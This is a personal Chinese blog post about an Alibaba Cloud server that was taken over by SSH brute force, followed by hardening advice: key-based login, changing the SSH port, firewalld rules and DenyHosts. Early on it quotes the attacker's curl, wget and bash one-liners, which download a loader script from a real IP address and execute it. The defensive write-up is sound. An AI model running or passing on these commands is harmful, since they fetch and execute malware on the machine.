新手刚接触ECS云服务器还不懂需要做些什么,只能见招拆招了。今天服务器遭受SSH暴力破解,所以整理一些东西让遇到这些问题的人可以减少这个烦恼,废话不多说进入正题。
起因:
手机收到阿里云提示短信,检测到ECS服务器出现紧急安全事件:访问恶意下载源
一、具体事件
服务器被恶意攻击,是人性的泯灭还是道德的沦丧,咱就是说才买几天的服务器,就挂了个人博客的项目,不至于吧,不至于吧!HXD?!!服务器格式化了,项目得重新部署了…..fffffffffffff
自己的阿里云服务器被别有用心的人gank一波,服务器被暴力破解密码并且异地登录,然后我就收到了阿里云发的服务器异地登录短信,打开手机查看阿里云,好家伙,五个安全警告,有三个是恶意脚本代码执行的警告,分别执行了curl
,bash
以及wget
命令,具体命令行代码分别如下:
1 | curl -k --user-agent e842c5c9_root:Root1234 http://194.145.227.21/ldr.sh |
1 | bash -c (curl -k --user-agent e842c5c9_root:Root1234 http://194.145.227.21/ldr.sh||wget --no-check-certificate --user-agent e842c5c9_root:Root1234 |
1 | wget --no-check-certificate --user-agent e842c5c9_root:Root1234 -q -O- http://194.145.227.21/ldr.sh |
执行恶意脚本文件其中一项警告的截图如下:
尝试访问这个网站,http://194.145.227.21/ldr.sh||wget
,提示木马风险,没敢继续访问。
二、如何预防
1. 什么是SSH暴力破解攻击?
SSH暴力破解是指攻击者通过密码字典或随机组合密码的方式尝试登陆服务器(针对的是全网机器),这种攻击行为一般不会有明确攻击目标,多数是通过扫描软件直接扫描整个广播域或网段;
2. 怎样预防被暴力破解攻击?
(1)定期检查并修复系统漏洞
(2)定期修改SSH密码,或配置证书登陆
(3)修改SSH端口
(4)禁Ping
(5)若你长期不需要登陆SSH,请在面板中将SSH服务关闭
(6)安装云锁、安全狗等安全软件
被入侵后的安全优化建议:
- 推荐使用 SSH 密钥进行登录,减少暴力破解的风险。登录服务器控制台,然后创建密钥对,然后下载私钥到本地;然后与实例进行绑定,当然也可以在这边进行解绑,删除(注意一定是在关机的情况下才能进行)
1
2
3
4
5
6
7
8#进入服务器-网络与安全-密钥对-创建密钥对,创建成功后记得绑定实例,并下载给的密钥做好备份,这个只能下载一次!
#我用的是finalShell,在新建连接的时候,用户身份验证栏的方法选择Public Key,用户密钥点击浏览,选择刚刚下载的密钥导入即可
#如果ECS实例原先使用密码认证,绑定密钥对后,密码验证方式自动失效。
#也可以手动禁用,登录成功后修改配置文件,禁用密码登录验证方式
$ vim /etc/ssh/sshd_config
#添加:PasswordAuthentication no - 在服务器内编辑/etc/ssh/sshd_config文件中的 Port 22,将 22 修改为其他非默认端口,修改之后重启 SSH 服务。可使用如下命令重启:
1
2/etc/init.d/sshd restart(CentOS)或 /etc/init.d/ssh restart(Debian/Ubuntu)
##也可以使用宝塔面板该端口,安全-SSH端口,修改为你想要的端口,修改完去控制台放行端口即可。 - 无论应用程序管理后台(网站、中间件、tomcat 等)、远程 SSH、远程桌面、数据库,都建议设置复杂且不一样的密码。
- 删除异常账号
检查:使用last命令查看下服务器近期登录的帐户记录,确认是否有可疑 IP 登录过机器。
解决:检查发现有可疑用户时,可使用命令usermod -L 用户名禁用用户或者使用命令userdel -r 用户名删除用户。
三、CentOS7系统的云服务器如果设置防火墙
我使用的是CentOS 8系统,7的配置请参考阿里云官方文档:点这里
四、CentOS 8开启防火墙
防火墙在CentOS8是默认安装的,所以安装跳过。
1. 防火墙状态查看
阿里云默认防火墙是关闭的,可以通过两个命令查看当前防火墙状态:
(1)防火墙:
1
firewall-cmd --state
(2)系统服务管理命令:
1
systemctl status firewalld
2. 开启防火墙
我这里就从开启防火墙开始:
1 | systemctl start firewalld |
对应的关闭防火墙命令是
1 | systemctl stop firewalld |
3. 配置防火墙
接下来就是配置防火墙放行规则
1 | firewall-cmd --add-port=80/tcp --permanent |
这里放行了80端口和443端口,用于web服务器,并且支持https必须要开启443端口。
1 | --permanent 参数表示该条规则永久生效 |
如果你想放行的端口号是连贯的,也可以直接指定范围,例如:
firewall-cmd –add-port=8080-8888/tcp –permanent
如果配置错了,还可以取消:
1 | firewall-cmd --remove-port=80/tcp --permanent |
当我们添加或移除防火墙规则后,需重新加载才能生效,使用–reload参数:
1 | firewall-cmd --reload |
配置好后我们可以通过–list-all参数查看防火墙规则:
1 | firewall-cmd --list-all |
4. 使防火墙在系统重启后还能正常运行
设置防火墙开机自启
1 | systemctl enable firewalld |
如果只开启了防火墙,没有设置防火墙开机自启,那么服务器重启后,防火墙会回到关闭状态,可以防止因为防火墙错误原因无法连接服务器的情况。当配置好之后,再设置开机自启,保证防火墙能够正常运行。
取消防火墙开机自启
1 | systemctl disable firewalld |
当然了,配置了防火墙开机自启后,你只是关闭了防火墙,而没有取消开机自启,那么防火墙只是临时关闭,在下次服务器重新启动后,防火墙会自动开启回来。如果你是想要完全关闭防火墙,不要忘记运行这条命令。
5.防火墙相关知识
1 | #firewallan安装 |
五、安装DenyHosts-2.6预防SSH爆破
1.安装DenyHosts-2.6
1 | #手动下载地址:https://sourceforge.net/projects/denyhosts/files/ |
启动前先将自己的ip加入白名单,不然启动后下一次登陆就给屏蔽了
vim /etc/hosts.allow
添加这行sshd:[你的ip]
检查黑名单是否有自己ip,有则删除
vim /etc/hosts.deny
2.denyhosts.cfg配置简要说明
1 | #编辑配置文件,另外关于配置文件一些参数,通过grep -v "^#" denyhosts.cfg查看 |
使用denyhosts会将自己的IP自动加到hosts.deny的解决办法
1 | #查看denyhosts.cfg配置文件的SECURE_LOG |
六、结尾
服务器被暴力破解成功,请尽快排查安全风险,我收到短信就打开阿里云控制台关停了服务器,因为破解成功到脚本命令执行几乎是同时的,没有多想就关闭了服务器,反正就部署了一个项目,然后就将服务器给格式化了,神知道下了什么妖魔鬼怪的木马程序到哪旮沓文件夹下,直接格式化,清净了,等加固了服务器的安全问题,重新部署项目吧。